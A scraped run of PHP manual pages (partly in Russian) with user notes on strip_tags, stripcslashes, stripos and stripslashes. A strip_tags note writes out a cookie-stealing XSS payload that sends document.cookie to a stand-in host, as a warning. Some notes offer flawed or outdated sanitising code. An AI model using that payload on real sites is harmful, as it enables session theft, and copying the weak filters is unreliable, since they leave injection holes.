          if (!in_array($attr->nodeName, $allowed_attrs)){
            $tag->removeAttribute($attr->nodeName);
          }
        }
      }
    }
  }
  return $xml->saveHTML();
}
?>
Trititaty 14-Dec-2015 09:28
Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
  $allowable_tags = array_map( 'strtolower', array_filter( // lowercase
      preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
      function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
  ) );
  $comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
  foreach ( $comments_and_stuff as $i => $comment_or_stuff ) {
    if ( $i % 2 ) { // html comment
      if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
        $comments_and_stuff[$i] = '';
      }
    } else { // stuff between comments
      $tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
      foreach ( $tags_and_text as $j => $tag_or_text ) {
        $is_broken = false;
        $is_allowable = true;
        $result = $tag_or_text;
        if ( $j % 2 ) { // tag
          if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
            $tag = strtolower( $matches[2] );
            if ( in_array( $tag, $allowable_tags ) ) {
              if ( $strip_attrs ) {
                $opening = $matches[1];
                $closing = ( $opening === '</' ) ? '>' : $closing;
                $result = $opening . $tag . $closing;
              }
            } else {
              $is_allowable = false;
              $result = '';
            }
          } else {
            $is_broken = true;
            $result = '';
          }
        } else { // text
          $tag = false;
        }
        if ( !$is_broken && isset( $callback ) ) {
          // allow result modification
          call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
        }
        $tags_and_text[$j] = $result;
      }
      $comments_and_stuff[$i] = implode( '', $tags_and_text );
    }
  }
  $str = implode( '', $comments_and_stuff );
  return $str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.
Dr. Gianluigi &#34;Zane&#34; Zanettini 22-Oct-2015 07:52
A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.
doug at exploittheweb dot com 11-Aug-2015 10:17
"5.3.4    strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags
valentin dot boschatel at evalandgo dot com 26-May-2015 09:41
Hi,

I havee a problem with this function. I want use this symbol in my text ( < ), but it doesn't work because I added character stuck to that symbol.

Exemple :
<?php
$test = '<p><span style="color: #ff0000; background-color: #000000;">Complex</span> <span style="font-family: impact,chicago;">text <50% </span> <a href="http://exempledomain.com/"><em>with</em></a> <span style="font-size: 36pt;"><strong>tags</strong></span></p>';

echo strip_tags('$test');
// Outputs : Complex text
?>

I made a function for this :

Function:
<?php
function strip_tags_review($str, $allowable_tags = '') {

    preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($allowable_tags), $tags);
    $tags = array_unique($tags[1]);

    if(is_array($tags) AND count($tags) > 0) {
        $pattern = '@<(?!(?:' . implode('|', $tags) . ')\b)(\w+)\b.*?>(.*?)</\1>@i';
    }
    else {
        $pattern = '@<(\w+)\b.*?>(.*?)</\1>@i';
    }

    $str = preg_replace($pattern, '$2', $str);
    return preg_match($pattern, $str) ? strip_tags_review($str, $allowable_tags) : $str;
}

echo strip_tags_review($test);
// Outputs: Complex text <50%  with tags

echo strip_tags_review($test, '<a>');
// Outputs: Complex text <50%  <a href="http://exempledomain.com">with</a> tags
?>
fernando at zauber dot es 10-Nov-2014 11:45
As you probably know, the native function strip_tags don't work very well with malformed HTML when you use the allowed tags parameter.
This is a very simple but effective function to remove html tags. It takes a list (array) of allowed tags as second parameter:

<?php
function flame_strip_tags($html, $allowed_tags=array()) {
  $allowed_tags=array_map(strtolower,$allowed_tags);
  $rhtml=preg_replace_callback('/<\/?([^>\s]+)[^>]*>/i', function ($matches) use (&$allowed_tags) {
    return in_array(strtolower($matches[1]),$allowed_tags)?$matches[0]:'';
  },$html);
  return $rhtml;
}
?>

The function works reasonably well with invalid/bad formatted HTML.

Use:

<?php
$allowed_tags=array("h1","a");
$html=<<<EOD
<h1>Example</h1>
<dt><a href='/manual/en/getting-started.php'>Getting Started</a></dt>
    <dd><a href='/manual/en/introduction.php'>Introduction</a></dd>
    <dd><a href='/manual/en/tutorial.php'>A simple tutorial</a></dd>
<dt><a href='/manual/en/langref.php'>Language Reference</a></dt>
    <dd><a href='/manual/en/language.basic-syntax.php'>Basic syntax</a></dd>
    <dd><a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a></dd>
</dl>
EOD;
echo flame_strip_tags($html,$allowed_tags);
?>

The output will be:

<h1>Example</h1>
<a href='/manual/en/getting-started.php'>Getting Started</a>
<a href='/manual/en/introduction.php'>Introduction</a>
<a href='/manual/en/tutorial.php'>A simple tutorial</a>
<a href='/manual/en/langref.php'>Language Reference</a>
<a href='/manual/en/language.basic-syntax.php'>Basic syntax</a>
<a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a>
bnt dot gloria at outlook dot com 10-Jul-2014 03:52
With allowable_tags, strip-tags is not safe.

<?php

$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
obeyer at popsugar dot com 10-Jan-2014 11:50
actually, for PHP 5.4.19, if you want to add line breaks <br> to allowable tags, you should use "<br>". Both <br/> and <br /> in allowable tags won't do anything, and line breaks will be stripped
bzplan at web dot de 07-Oct-2012 07:57
a HTML code like this:

<?php
$html = '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
';
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood';

notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str

if you need a space between the words (and without line-break)
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood';

the function:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', ' ', $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", ' ', $string);   // --- replace with space
    $string = str_replace("\t", ' ', $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', ' ', $string));

    return $string;

}

// --------------------------------------------------------------
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
tom at cowin dot us 27-Aug-2010 07:04
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
    {
        mb_regex_encoding('UTF-8');
        //replace MS special characters first
        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
        $replace = array('\'', '\'', '"', '"', '-');
        $text = preg_replace($search, $replace, $text);
        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears
        //in some MS headers, some html entities are encoded and some aren't
        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
        //try to strip out any C style comments first, since these, embedded in html comments, seem to
        //prevent strip_tags from removing html comments (MS Word introduced combination)
        if(mb_stripos($text, '/*') !== FALSE){
            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
        }
        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
        //'<1' becomes '< 1'(note: somewhat application specific)
        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
        $text = strip_tags($text, $allowed_tags);
        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
        //strip out inline css and simplify style tags
        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
        $text = preg_replace($search, $replace, $text);
        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
        //some MS Style Definitions - this last bit gets rid of any leftover comments */
        $num_matches = preg_match_all("/\<!--/u", $text, $matches);
        if($num_matches){
              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
        }
        return $text;
    }
?>
CEO at CarPool2Camp dot org 17-Feb-2009 11:10
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br>');
var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
mariusz.tarnaski at wp dot pl 12-Nov-2008 08:05
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
  $tags = array_unique($tags[1]);

  if(is_array($tags) AND count($tags) > 0) {
    if($invert == FALSE) {
      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
    }
    else {
      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
    }
  }
  elseif($invert == FALSE) {
    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
  }
  return $text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
 text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
 text with <div>tags</div>

I hope that someone is useful :)
cesar at nixar dot org 07-Mar-2006 11:44
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>


Удаляет экранирование символов, произведённое функцией addcslashes

  • « strip_tags
  • stripos »
  • PHP Manual
  • Функции для работы со строками
  • Удаляет экранирование символов, произведённое функцией addcslashes

stripcslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

stripcslashes — Удаляет экранирование символов, произведённое функцией addcslashes()

Описание

stripcslashes(string $string): string

Удаляет экранирующие обратные слеши. Распознает экранирование в стиле C (\n, \r ..., восьмеричное и шестнадцатеричное представление).

Список параметров

string

Строка, у которой нужно убрать экранирование.

Возвращаемые значения

Возвращает неэкранированную строку.

Примеры

Пример #1 Пример использования stripcslashes()

<?php

var_dump(stripcslashes('I\'d have a coffee.\nNot a problem.') === "I'd have a coffee.
Not a problem."); // true
?>

Смотрите также

  • addcslashes() - Экранирует строку слешами в стиле языка C

User Contributed Notes

rafayhingoro[at]hotmail[dot]com 07-Feb-2017 11:00
stripcslashes does not simply skip the C-style escape sequences \a, \b, \f, \n, \r, \t and \v, but converts them to their actual meaning.

So
<?php
stripcslashes('\n') == "\n"; //true;

$str = "we are escaping \r\n"; //we are escaping

?>
jsmneo at dreamworkstudio dot net 04-Jul-2008 07:53
you might want to do a double stripslashes to completely remove 3 consecutive slashes

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses($stripped);
would output:
'this is a string with three\ slashes'

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses(stripslashes($stripped));
would output:
'this is a string with three slashes'


Возвращает позицию первого вхождения подстроки без учёта регистра

  • « stripcslashes
  • stripslashes »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает позицию первого вхождения подстроки без учёта регистра

stripos

(PHP 5, PHP 7, PHP 8)

stripos — Возвращает позицию первого вхождения подстроки без учёта регистра

Описание

stripos(string $haystack, string $needle, int $offset = 0): int|false

Ищет позицию первого вхождения подстроки needle в строке haystack.

В отличие от strpos(), эта функция не учитывает регистр символов.

Список параметров

haystack

Строка, в которой производится поиск.

needle

Строка для поиска.

До PHP 8.0.0, если параметр needle — не строка, он преобразовывается в целое число и трактуется как код символа. Это поведение устарело с PHP 7.3.0 и полагаться на него крайне не рекомендуется. В зависимости от предполагаемого поведения, параметр needle должен быть либо явно приведён к строке, либо должен быть выполнен явный вызов функции chr().

offset

Если этот параметр указан, то поиск будет начат с указанного количества символов с начала строки. Если задано отрицательное значение, отсчёт позиции начала поиска будет произведён с конца строки.

Возвращаемые значения

Возвращает позицию, в которой находится искомая строка, относительно начала строки haystack (независимо от смещения (offset)). Также обратите внимание на то, что позиция строки отсчитывается от 0, а не от 1.

Возвращает false, если искомая строка не найдена.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII. Байты, которые не относятся к кодировке ASCII, будут сравниваться по значению байта.
8.0.0 | Параметр needle теперь разрешает пустую строку.
8.0.0 | Передача целого числа (int) в needle больше не поддерживается.
7.3.0 | Передача целого числа (int) в needle объявлена устаревшей.
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примеры

Пример #1 Пример использования stripos()

<?php
$findme = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);
$pos2 = stripos($mystring2, $findme);

// Конечно, 'a' не входит в 'xyz'
if ($pos1 === false) {
echo "Строка '$findme' не найдена в строке '$mystring1'";
}

// Заметьте, что используется ===. Использование == не даст верного
// результата, так как 'a' в нулевой позиции.
if ($pos2 !== false) {
echo "Нашёл '$findme' в '$mystring2' в позиции $pos2";
}
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • mb_stripos() - Находит позицию первого вхождения подстроки в строку без учёта регистра
  • str_contains() - Определяет, содержит ли строка заданную подстроку
  • str_ends_with() - Проверяет, заканчивается ли строка заданной подстрокой
  • str_starts_with() - Проверяет, начинается ли строка с заданной подстроки
  • strpos() - Возвращает позицию первого вхождения подстроки
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • stristr() - Регистронезависимый вариант функции strstr
  • substr() - Возвращает подстроку
  • str_ireplace() - Регистронезависимый вариант функции str_replace

User Contributed Notes

rafal dot bieronski at eengine dot pl 25-Apr-2024 09:21
stripos('abccddddd', 'abc');  // 7.4 - 0       |  8.2 - 0
stripos('abccddddd', '');     // 7.4 - false   |  8.2 - 0
stripos('abccddddd', null);   // 7.4 - false   |  8.2 - 0

see strpos, mb_strpos too.
emanuel dot karlsson at rolfsbuss dot se 19-Aug-2018 02:07
Finding numbers in strings requires you to cast the number to string first.

strpos("123", 2) !== strpos("123", "2")
sorrynorealemail at example dot com 02-Aug-2018 01:48
Unlike strpos() it seems that stripos() does NOT issue a WARNING if the needle is an empty string ''.
Ian Macdonald 29-Aug-2015 10:25
Regarding the === note, it might be worth clarifying that the correct tests for a binary found/not found condition are  !==false to detect found, and ===false to detect not found.
spam at kleppinger dot com 04-Mar-2015 02:08
Regarding the function by spam at wikicms dot org

It is very bad practice to use the same function name as an existing php function but have a different output format.  Someone maintaining the code in the future is likely to be very confused by this.  It will also be hard to eradicate from a codebase because the naming is identical so each use of stripos() would have to be analyzed to see how it is expecting the output format (bool or number/bool).

Calling it string_found() or something like that would make a lot more sense for long-term use.
emperorshishire at gmail dot com 24-Feb-2009 07:31
I found myself needing to find the first position of multiple needles in one haystack.  So I wrote this little function:

<?php
function multineedle_stripos($haystack, $needles, $offset=0) {
    foreach($needles as $needle) {
        $found[$needle] = stripos($haystack, $needle, $offset);
    }
    return $found;
}

// It works as such:
$haystack = "The quick brown fox jumps over the lazy dog.";
$needle = array("fox", "dog", ".", "duck")
var_dump(multineedle_stripos($haystack, $needle));
/* Output:
   array(3) {
     ["fox"]=>
     int(16)
     ["dog"]=>
     int(40)
     ["."]=>
     int(43)
     ["duck"]=>
     bool(false)
   }
*/
?>


Удаляет экранирование символов

  • « stripos
  • stristr »
  • PHP Manual
  • Функции для работы со строками
  • Удаляет экранирование символов

stripslashes

(PHP 4, PHP 5, PHP 7, PHP 8)

stripslashes — Удаляет экранирование символов

Описание

stripslashes(string $string): string

Функция удаляет символы экранирования.

Функцией stripslashes() пользуются, когда не требуется экранирование символов. Например, данные не вставляются в базу данных, а просто выводятся в браузер.

Список параметров

string

Входная строка.

Возвращаемые значения

Функция возвращает строку с вырезанными обратными слешами, \' становится ' и т. п. Двойные обратные слеши \\ становятся одинарными \.

Примеры

Пример #1 Пример использования функции stripslashes()

<?php

$str = "Ваc зовут O\'reilly?";

// Выводит: Вас зовут O'reilly?
echo stripslashes($str);

?>

Замечание:

Функция stripslashes() нерекурсивна. Если требуется применить функцию к многомерному массиву, то вызывают рекурсивную функцию.

Пример #2 Пример работы функции stripslashes() с массивом

<?php

function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);

return $value;
}

// Пример
$array = array("f\\'oo", "b\\'ar", array("fo\\'o", "b\\'ar"));
$array = stripslashes_deep($array);

// Вывод
print_r($array);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => f'oo
    [1] => b'ar
    [2] => Array
        (
            [0] => fo'o
            [1] => b'ar
        )

)

Смотрите также

  • addslashes() - Экранирует строку с помощью слешей
  • get_magic_quotes_gpc() - Получает текущее значение настройки конфигурации magic_quotes_gpc

User Contributed Notes

powerofBBC at gmail dot com 10-Dec-2018 09:21
$regex_pattern = "/<a href=\"(.*)\">(.*)<\/a>/";

if( (strlen($_POST['query']) > 0) && (preg_match_all($regex_pattern, $_POST['query']) )
{ echo "Tags found"; }
Anonymous 11-Oct-2014 09:23
Rather use str_replace than explode/implode for your purpose.
ivijan dot stefan at gmail dot com 04-Mar-2014 03:29
Sometimes for some reason is happens that PHP or Javascript or some naughty insert a lot of  backslash. Ordinary function does not notice that. Therefore, it is necessary that the bit "inflate":

<?php
function removeslashes($string)
{
    $string=implode("",explode("\\",$string));
    return stripslashes(trim($string));
}

/* Example */

$text="My dog don\\\\\\\\\\\\\\\\'t like the postman!";
echo removeslashes($text);
?>

RESULT: My dog don't like the postman!

This flick has served me wery well, because I had this problem before.
Yousef Ismaeil Cliprz 19-Feb-2013 07:41
If you want to use stripslashes(); function for a string or array you can create a user function

as in example:

<?php

if (!function_exists('strip_slashes'))
{
    /**
     * Un-quotes a quoted string.
     *
     * @param (mixed) $str - The input string.
     * @author Yousef Ismaeil Cliprz
     */
    function strip_slashes($str)
    {
        if (is_array($str))
        {
            foreach ($str as $key => $val)
            {
                $str[$key] = strip_slashes($val);
            }
        }
        else
        {
            $str = stripslashes($str);
        }

        return $str;
    }
}

$arr = array('Yousef\\\'s','\"PHP.net\"','user\\\'s');

echo 'With strip_slashes() function:<br />';
print_r(strip_slashes($arr));
echo '<br />';
echo 'Without strip_slashes() function:<br />';
print_r($arr);

/** You will get
With strip_slashes() function:
Array ( [0] => Yousef's [1] => "PHP.net" [2] => user's )
Without strip_slashes() function:
Array ( [0] => Yousef\'s [1] => \"PHP.net\" [2] => user\'s )
*/

?>
StefanoAI 27-Jan-2013 02:31
Recursive stripslashes
<?php
if (get_magic_quotes_gpc()) {

    function stripslashes_array(&$arr) {
        foreach ($arr as $k => &$v) {
            $nk = stripslashes($k);
            if ($nk != $k) {
                $arr[$nk] = &$v;
                unset($arr[$k]);
            }
            if (is_array($v)) {
                stripslashes_array($v);
            } else {
                $arr[$nk] = stripslashes($v);
            }
        }
    }

    stripslashes_array($_POST);
    stripslashes_array($_GET);
    stripslashes_array($_REQUEST);
    stripslashes_array($_COOKIE);
}
?>
todd at toddzebert dot com 26-Jun-2012 07:18
Attempting to use stripslashes on an array in 5.2.17 returns the string "Array", but in 5.3.6 it returns NULL.
tarmo at goyf dot de 06-Mar-2012 02:58
When matching strings with approstrophes against the mysql database, my query kept failing while it worked fine when I copied the same query directly to perform the database query. After several hours I found that stripslashes() made the string longer and hence it wasn't "equal" for the query.

This code shows the behavior (copy into "test.php"). Replacing stripslashes worked for me.

<?php
echo '<h2>Post-Data</h2>';
var_dump($_POST);

$f1 = trim(filter_var(stripslashes($_POST[form]), FILTER_SANITIZE_STRING));
echo '<h2>stripslashes</h2>';
var_dump($f1);

$f2 = trim(str_replace("|","'",filter_var(str_replace("\'","|",$_POST[form]), FILTER_SANITIZE_STRING)));
echo '<h2>workaround</h2>';
var_dump($f2);

echo '<form action="test.php" method="post">
    <input type="text" name="form">
    <input type="submit">
    </form>';
?>

Entering "foo'bar" creates this output:
// Post-Data
// array(1) { ["form"]=> string(8) "foo\'bar" }
// stripslashes
// string(11) "foo'bar"
// workaround
// string(7) "foo'bar"
jeremysawesome 10-Dec-2010 12:39
I'm using this to clean the $_POST array:
<?php
array_walk_recursive($_POST, create_function('&$val', '$val = stripslashes($val);'));
?>
jeremycook0 at googlemail dot com 01-Aug-2010 08:04
Here's a way of stripping slashes in PHP 5.3 using a recursive closure:

<?php
  if (get_magic_quotes_gpc()) {
      $strip_slashes_deep = function ($value) use (&$strip_slashes_deep) {
          return is_array($value) ? array_map($strip_slashes_deep, $value) : stripslashes($value);
      };
      $_GET = array_map($strip_slashes_deep, $_GET);
      $_POST = array_map($strip_slashes_deep, $_POST);
      $_COOKIE = array_map($strip_slashes_deep, $_COOKIE);
  }
?>

Note that the variable '$strip_slashes_deep' has to be passed to the closure by reference. I think that this is because at the time the closure is created the variable '$strip_slashes_deep' doesn't exist: the closure itself becomes the value of the variable. Passing by reference solves this issue. This closure could easily be adapted to use other methods of stripping slashes such as preg_replace().
eugene at ultimatecms dot co dot za 23-Nov-2009 05:03
This is a simple function to remove the slashes added by functions such as magic_quotes_gpc and mysql_escape_string etc.

<?php

function no_magic_quotes($query) {
        $data = explode("\\",$query);
        $cleaned = implode("",$data);
        return $cleaned;
}

// I'm using mysql_escape_string as a simple example, but this function would work for any escaped string.
$query = "It's amaizing! Who's to say this isn't a simple function?";
$badstring = mysql_escape_string($query);

echo '<b>Without funtion:</b> '.$badstring;
echo '<br><br>';
echo '<b>With function:</b> '.no_magic_quotes($badstring);

?>

Output:
Without funtion: It\'s amaizing! Who\'s to say this isn\'t a simple function?

With function: It's amaizing! Who's to say this isn't a simple function?
michal at roszka dot pl 31-Aug-2009 08:00
The goal is to leave the input untouched in PHP 5.2.8. Let's have this sample text given in $_POST['example']:

a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Let's have two simple scripts:

Script A:
<?php echo $_POST['example']; ?>

Script B:
<?php echo stripslashes($_POST['example']); ?>

Let's have four different configurations and corresponding output:

Case #1:

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = Off

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Case #2

 * magic_quotes_gpc = On
 * magic_quotes_sybase = Off

A: a backslash ( \\ ), a single-quote ( \' ), a double-quote ( \" ) and a null character ( \\0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )

Case #3

 * magic_quotes_gpc = On
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( '' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Case #4

 * magic_quotes_gpc = Off
 * magic_quotes_sybase = On

A: a backslash ( \ ), a single-quote ( ' ), a double-quote ( " ) and a null character ( \0 )
B: a backslash (  ), a single-quote ( ' ), a double-quote ( " ) and a null character ( ? )

Conclusions:

1) we do not need to do anything, if the magic_quotes_gpc is disabled (cases 1 and 4);
2) stripslashes($_POST['example']) only works, if the magic_quotes_gpc is enabled, but the magic_quotes_sybase is disabled (case 2);
3) str_replace("''", "'", $_POST['example']) will do the trick if both the magic_quotes_gpc and the magic_quotes_sybase are enabled (case 3);

<?php
function disable_magic_quotes_gpc()
{
    if (TRUE == function_exists('get_magic_quotes_gpc') && 1 == get_magic_quotes_gpc())
    {
        $mqs = strtolower(ini_get('magic_quotes_sybase'));

        if (TRUE == empty($mqs) || 'off' == $mqs)
        {
            // we need to do stripslashes on $_GET, $_POST and $_COOKIE
        }
        else
        {
            // we need to do str_replace("''", "'", ...) on $_GET, $_POST, $_COOKIE
        }
    }
    // otherwise we do not need to do anything
}
?>

Important notes:

1) arrays need to be processed recursively;

2) both stripslashes and str_replace functions always return strings, so:

* TRUE will become a string "1",
* FALSE will become an empty string,
* integers and floats will become strings,
* NULL will become an empty string.

On the other hand you only need to process strings, so use the is_string function to check;

3) when dealing with other (than GPC) data sources, such as databases or text files, remember to play with the magic_quotes_runtime setting as well, see, what happens and write a corresponding function, i.e. disable_magic_quotes_runtime() or something.

4) VERY IMPORTANT: when testing, remember the null character. Otherwise your tests will be inconclusive and you may end up with... well, serious bugs :)
JacobRas.nl 28-Jul-2009 05:41
Hi,

Here's an function that strips not only \', but also \\' and \\\' and so on (depending on $times). $text = the text that needs to be stripped, $times = how much backslashes should be stripped.

<?php

function stripslashes_deep ($text, $times) {

    $i = 0;

    // loop will execute $times times.
    while (strstr($text, '\\') && $i != $times) {

        $text= stripslashes($text);
        $i++;

    }

    return $text;

}

?>

Example: $text = \\'quote\\' . <?php stripslashes_deep($text, 2); ?> will return 'quote'.
Note: <?php stripslashes_deep($text, 3); ?> will also return 'quote'.
shredder at technodrome dot com 09-May-2009 03:50
Hi,

Here are recursive addslashes / stripslashes functions.
given a string - it will simply add / strip slashes
given an array - it will recursively add / strip slashes from the array and all of it subarrays.
if the value is not a string or array - it will remain unmodified!

<?php

function add_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return addslashes( $variable ) ;

    elseif ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = add_slashes_recursive( $value ) ;

    return $variable ;
}

function strip_slashes_recursive( $variable )
{
    if ( is_string( $variable ) )
        return stripslashes( $variable ) ;
    if ( is_array( $variable ) )
        foreach( $variable as $i => $value )
            $variable[ $i ] = strip_slashes_recursive( $value ) ;

    return $variable ;
}

?>
dragon[dot]dionysius[at]gmail[dot]com 24-Mar-2009 08:07
I use this function in my class to stripslashes arrays including NULL-check:

<?php
    private function stripslashes_deep($value) {
        if(is_array($value)) {
            foreach($value as $k => $v) {
                $return[$k] = $this->stripslashes_deep($v);
            }
        } elseif(isset($value)) {
            $return = stripslashes($value);
        }
        return $return;
    }
?>
Tom Worster 23-Mar-2009 07:26
A replacement that should be safe on utf-8 strings.
<?php
  preg_replace(array('/\x5C(?!\x5C)/u', '/\x5C\x5C/u'), array('','\\'), $s);
?>
o-zone at zerozone dot it 19-Mar-2009 03:53
If you need to remove all slashes from a string, here's a quick hack:

<?php
function stripallslashes($string) {
    while(strchr($string,'\\')) {
